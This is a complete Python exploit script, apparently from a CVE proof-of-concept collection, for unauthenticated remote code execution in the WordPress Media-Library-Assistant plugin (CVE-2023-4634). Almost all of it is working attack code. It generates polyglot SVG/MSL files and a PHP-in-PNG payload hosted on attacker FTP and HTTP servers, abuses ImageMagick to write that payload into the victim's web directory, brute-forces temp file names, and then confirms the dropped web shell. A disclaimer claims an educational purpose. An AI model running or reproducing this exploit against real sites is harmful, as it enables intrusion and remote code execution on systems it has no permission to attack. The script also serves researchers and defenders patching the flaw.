4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2023-4634.py PY
#!/usr/bin/python3
# Exploit Title: Unauthenticated Remote Code Execution on Media-Library-Assistant Wordpress plugin
# Exploit Author: Florent MONTEL @Pepitoh / Twitter @Pepito_oh
# Product Version: Wordpress Plugins Media-Library-Assistant version < 3.10
# CVE: CVE-2023-4634
# Copyright: 2023, Patrowl.io
# 
# Disclaimer: This script is intended to be used for educational purposes only.
# Do not run this against any system that you do not have permission to test. 
# The author will not be held responsible for any use or damage caused by this 
# program. 

import grequests
import requests_ftp
import argparse
import requests
import random
import time
import re
import os
from PIL import Image
from PIL.PngImagePlugin import PngInfo

banner = """
MMMMMMMMMMMMMMMN0d;.';dKWMMMMMMMMMMMMMMM
MMMMMMMMMMWN0xc;'.,;;,.';lx0NWMMMMMMMMMM
MMMMMWNKkl:'.,:ldddoodddl:'.':okKNWMMMMM
MMMWOc,.';loddl:'.    .':lddoc;'.,c0WMMM
MMMN:.:OX0l'.              .,oKKk;.lNMMM
MMMWl.dkk0l.                .o0kOo.dWMMM
MMMMx.co.cOk,              ;kO:'d:.kMMMM
MMMM0';d. lNXo.          'dXNo.'d,,KMMMM
MMMMX;'d;,0OlxOl.      .oOd:xKccd.:NMMMM
MMMMWl.dc;0O'.c0O:.  .c00:..dKloo.oWMMMM
MMMMMx.lo.;xOxxOOOkddkOkOxxkk:,dc.kMMMMM
MMMMMO':d.  .''. .cxdc. .''..,xO;,0MMMMM
MMMMMK;,d,                .;lcdx':XMMMMM
MMMMMNc.d:         ...;cllc;. co.lWMMMMM
MMMMMWd.od.   .':odxxdl;.    .xc.xMMMMMM
MMMMMMO''xd;;d0KOo;..      .;xx.,0MMMMMM
MMMMMMNd..cd0WXo.       .:odo:.'kWMMMMMM
MMMMMMMWKd:'';oddc,..,lddl;'':xXWMMMMMMM
MMMMMMMMMMWXkl,',cdddoc,';oOXWMMMMMMMMMM
MWWWMMMMMMMMMMN0d:'..,cxKWMMMMMMMMMMMMMM
MWWWMMMWWWMMMMWMMMKkXMWXKKXMMMMMMMMMMMMM

    CVE-2023-4634.py // Unauthenticated Remote Code Execution on Media-Library-Assistant Wordpress plugin with default Imagick configuration by Patrowl
        - Pepitoh ([email protected])
    Product:
        - Wordpress Plugins Media-Library-Assistant version < 3.10 """


# Color output
COLORS = {
    "grey": 30,
    "red": 31,
    "green": 32,
    "yellow": 33,
    "blue": 34,
    "magenta": 35,
    "cyan": 36,
    "white": 37
}
def colored(text: str, color: str) -> str:
    """Colorize text with ANSI escape sequences."""
    return f"\033[{COLORS[color]}m{text}\033[0m"


if __name__ == '__main__':

    parser = argparse.ArgumentParser(
        prog="CVE-2023-4634 Exploit",
        description="Exploit CVE-2023-4634 on Media-Library-Assistant version < 3.10",
        allow_abbrev=False
    )
    parser.add_argument(
        '--target',
        nargs='?',
        help='URL of the Target, ex: http://victimwordpress.org')
    parser.add_argument(
        '--remoteftp',
        nargs='?',
        help='URL of the remote FTP use to store SVGs files, ex: ftp://X.X.X.X:PORT')
    parser.add_argument(
        '--remotehttp',
        nargs='?',
        help='URL of the remote HTTP use to store the final Polyglot PNG/PHP file, ex: http://X.X.X.X:PORT')
    parser.add_argument(
        '--svg_polyglot_name',
        nargs='?',
        help='Name of the external polyglot SVG/MSL file used (for generation or final usage), ex: poly.svg')
    parser.add_argument(
        '--svg_exploiter_names',
        nargs='?',
        help='Name of the external VID bruteforcers file use, the FUZZ part will be replaced by the first letter bruteforced (for generation or final usage), ex: exploiter_FUZZ.svg')
    parser.add_argument(
        '--png_polyglot_name',
        nargs='?',
        help='Name of the external PNG/PHP to use (for generation or final usage), ex: exploiter_FUZZ.svg')
    parser.add_argument(
        '--concurrency',
        nargs='?',
        type=int,
        default = 100,
        help='Number of concurrent long SVG conversion requests to make (default 100)')
    parser.add_argument(
        '--generatesvg',
        action=argparse.BooleanOptionalAction,
        help='Generate both polyglot SVG/MSL file and VID bruteforcer within the remote_ftp directory')
    parser.add_argument(
        '--webserverpath',
        help='Path of the webserver on the victim server (could be found with the LFI and wp-config file), ex: /var/www/html')
    parser.add_argument(
        '--exploitname',
        help='Dropped exploit name, ex: pwned.php')
    parser.add_argument(
        '--generatepng',
        action=argparse.BooleanOptionalAction,
        help='Generate polyglot PNG/PHP file, integrate php file with -payload option in exploit-png folder')
    parser.add_argument(
        '--payload',
        help='PHP Payload to integrate in the PNG file, ex: <?php phpinfo(); ?>')

    args = parser.parse_args()
    target = args.target
    remoteftp = args.remoteftp
    remotehttp = args.remotehttp
    svg_polyglot_name = args.svg_polyglot_name
    svg_exploiter_names = args.svg_exploiter_names
    png_polyglot_name = args.png_polyglot_name
    concurrency = args.concurrency
    generatesvg = args.generatesvg
    generatepng = args.generatepng
    webserverpath = args.webserverpath
    exploitname = args.exploitname
    payload = args.payload
    MAX_CONCURRENT_THREADS = 10
    bruteforce_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-"


    print(colored(banner, "white"))
    print(colored("\n", "white"))

    print(colored("[-] Checking arguments", "cyan"))
    

    #Option to generate the polyglot PNG/PHP file
    if generatepng:
        print(colored("\t[-] Option to generate polyglot PNG/PHP selected", "cyan"))           
        if not payload or not png_polyglot_name:
            print(colored("\t[x] The --payload and --png_polyglot_name options are needed to be set to create the PNG file", "red"))    
            exit()
        if not os.path.exists("./exploit-png"):
            os.mkdir("./exploit-png")
        try:
            targetImage = Image.open("exploit-png/sample.png")
            metadata = PngInfo()
            metadata.add_text("Comment", payload)
            targetImage.save("exploit-png/"+png_polyglot_name, pnginfo=metadata)      
            print(colored("\t\t[-] "+png_polyglot_name+" polyglot PNG/PHP file generated", "green")) 
            exit()
        except Exception as e:
            print(colored("\t[x] No PNG file found in the folder exploit-png, add a standard PNG sample.png in it", "red"))    
            exit()

    #Generate SVG Files     
    elif generatesvg:
        print(colored("\t[-] Option to generate SVG selected", "cyan"))
        if not svg_polyglot_name or not svg_exploiter_names or not remotehttp or not png_polyglot_name or not webserverpath or not exploitname:
            print(colored("\t\t[x] The --svg_polyglot_name, --svg_exploiter_names, --remotehttp, --png_polyglot_name, --webserverpath and --exploitname options are needed to create the SVG/MSL Polyglot file", "red"))    
            exit()
        elif "FUZZ" not in svg_exploiter_names:
            print(colored("\t\t[x] The --svg_exploiter_names needs to include a FUZZ part to create the files", "red"))    
            exit()            
        else:
            print(colored("\t[-] Generating polyglot SVG/MSL file using user inputs", "cyan"))  
            poly_svg = """<?xml version=\"1.0\" encoding=\"UTF-8\"?>
    <image>
    <read filename=\"%(remotehttp)s\" />
    <resize geometry=\"400x400\" />
    <write filename=\"%(webserverpath)s\" />
    <get width=\"base-width\" height=\"base-height\" />
    <svg width=\"700\" height=\"700\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">
    <image xlink:href=\"http://192.192.192.23:1664/neverExist.svg\" height="100" width="100"/>
    </svg>
    </image>""" % { "remotehttp": remotehttp +"/"+png_polyglot_name , "webserverpath" : webserverpath+"/"+exploitname }


            if not os.path.exists("./remote_ftp"):
                os.mkdir("./remote_ftp")

            f = open("./remote_ftp/"+svg_polyglot_name,"w")
            f.write(poly_svg)
            f.close()
            f = open("./remote_ftp/"+svg_polyglot_name+"[0]", "w")
            f.write(poly_svg)
            f.close()
            print(colored("\t\t[-] "+svg_polyglot_name+" generated", "green")) 


            #Generating msl:vid bruteforcers
            print(colored("\t[-] Generating bruteforce file using text:vid:msl formatter", "cyan"))
            for i in bruteforce_list:
                filename = svg_exploiter_names.replace("FUZZ",i)
                exploiter_content = """<svg width=\"500\" height=\"500\"
xmlns:xlink=\"http://www.w3.org/1999/xlink\">
xmlns=\"http://www.w3.org/2000/svg\">
<image xlink:href=\"text:vid:msl:/tmp/magick-%(letter)s*\"  width=\"500\" height=\"500\" />
</svg>""" % { "letter" : i }
                f = open("./remote_ftp/"+filename, "w")
                f.write(exploiter_content)
                f.close

                f = open("./remote_ftp/"+filename+"[0]", "w")
                f.write(exploiter_content)
                f.close

                print(colored("\t\t[-] "+filename+" generated", "green")) 
            
            print(colored("\t[-] All files have been generated successfully", "green")) 
            exit()

    #Exploitation Part
    elif target and remoteftp and remotehttp and svg_polyglot_name and svg_exploiter_names and png_polyglot_name and exploitname:
        print(colored("\t[-] All arguments for exploiting target are set, beginning the first checks", "green"))        

        if "FUZZ" not in svg_exploiter_names:
            print(colored("\t\t[x] The --svg_exploiter_names needs to include a FUZZ part to be used in exploitation", "red"))    
            exit()  

        target_mla = target+"/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php"
        target_mla_readme = target+"/wp-content/plugins/media-library-assistant/readme.txt"
        try:
            r = requests.get(target_mla_readme)
        except Exception as e:
            print(colored("\t[x] The target seems to be down, error:" +str(e), "red"))
        
        if r.status_code == 404:
            print(colored("\t[x] The target seems not be running the plugin", "red"))
            exit()
        else:
            if re.findall('(?mi)Stable tag: ([0-9.]+)', r.text):
                if float(re.findall('(?mi)Stable tag: ([0-9.]+)', r.text)[0]) < 3.10:
                    print(colored("\t[-] The target seems to be running the plugin in vulnerable version (<3.10)", "green"))
                else: 
                    print(colored("\t[x] The Plugin version seems to be installed but not in a vulnerable version", "red"))

        #Checking FTP files
        ftp_target = remoteftp + "/" +svg_polyglot_name
        ftp_taget_frame = ftp_target+"[0]"
        requests_ftp.monkeypatch_session()

        s = requests.Session()
        try:
            resp = s.get(ftp_target)
        except:
            print(colored("\t[x] Error while getting the remote FTP polyglot SVG/MSL file "+ftp_target, "red"))
            exit()
        if (resp.status_code == 200):
            print(colored("\t[-] The remote FTP polyglot SVG/MSL file is reachable", "green"))
        
        try:
            resp = s.get(ftp_taget_frame)
        except:
            print(colored("\t[x] Error while getting the remote FTP polyglot SVG/MSL file ending with [0] "+ftp_target, "red"))
            exit()
        if (resp.status_code == 200):
            print(colored("\t[-] The remote FTP polyglot SVG/MSL file ending with [0] is reachable", "green"))


        ftp_target_exploiter = remoteftp + "/"+svg_exploiter_names.replace("FUZZ", random.choice(bruteforce_list))
        ftp_taget_exploiter_frame = ftp_target_exploiter+"[0]"
        requests_ftp.monkeypatch_session()
        s = requests.Session()
        try:
            resp = s.get(ftp_target_exploiter)
        except:
            print(colored("\t[x] Error while getting a sample remote FTP exploiter VID test file "+ftp_target, "red"))
            exit()
        if (resp.status_code == 200):
            print(colored("\t[-] A sample remote FTP exploiter VID test file is reachable", "green"))
        
        try:
            resp = s.get(ftp_taget_exploiter_frame)
        except:
            print(colored("\t[x] Error while getting a sample remote FTP exploiter VID test file ending with [0] "+ftp_target, "red"))
            exit()
        if (resp.status_code == 200):
            print(colored("\t[-] A sample Remote FTP exploiter VID test file ending with [0] is reachable", "green"))


        #Checking final PNG/PHP polyglot file
        remote_virus = remotehttp +"/"+png_polyglot_name
        try:
            r = requests.get(remote_virus)
        except Exception as e:
            print(colored("\t[x] The Remote HTTP Server Hosting PNG Virus seems to be down, error:" +str(e), "red"))
            exit()
        
        if r.status_code == 404:
            print(colored("\t[x] The remote PNG/PHP file is not reachable (404)", "red"))
            exit()
        else:
            print(colored("\t[-] The remote Exploit PNG/PHP file is reachable", "green"))



        #Laucnhing exploitation 
        print(colored("[!] All arguments have been checked correctly, lauching exploitation", "yellow"))
        print(colored("[-] Lauching "+str(concurrency)+" Threads on long SVG", "cyan"))
        
        exploit_url = target_mla + "?mla_stream_file="+ftp_target
        exploit_ploly_list = [exploit_url] * concurrency
        rs = (grequests.get(u,timeout=0.5) for u in exploit_ploly_list)
        grequests.map(rs) 

        print(colored("[-] Waiting 5 second for the file to be created", "cyan"))
        time.sleep(5)

        print(colored("[-] Starting Bruteforcing with VID exploiters", "cyan"))
        exploit_url_list = []
        for i in bruteforce_list:
            exploit_url = target_mla + "?mla_stream_file="+remoteftp+"/"+svg_exploiter_names.replace("FUZZ",i)
            exploit_url_list.append(exploit_url)

        rs = (grequests.get(u,timeout=0.5) for u in exploit_url_list)
        grequests.map(rs) 

        time.sleep(5)
        print(colored("[-] Checking the drop of "+exploitname, "cyan"))
        target_virus = target+"/"+exploitname

        i = 0   
        #timeout to 80 second
        while i <= 8:
            try:
                r = requests.get(target_virus)
            except Exception as e:
                print(colored("\t[!] Error while reaching the target URL, hope you did not crash it: " +str(e), "red"))
                exit()
            if (r.status_code == 200):
                print(colored("\t[-] Exploit worked!, the PHP file is in the web directory, Enjoy 🔥", "green"))
                exit()
            else:
                print(colored("\t[!] Not yet, try "+str(i+1)+" on 9 ... checking again in 10 seconds", "yellow"))
                time.sleep(10)
                i =+ i+1
                continue

        print(colored("\t[!] Exploit has not worked, try by increase concurrency value or use another method", "red"))
        exit()
    else:
        print(colored("\t[!] Missing arguments!", "red"))
        exit()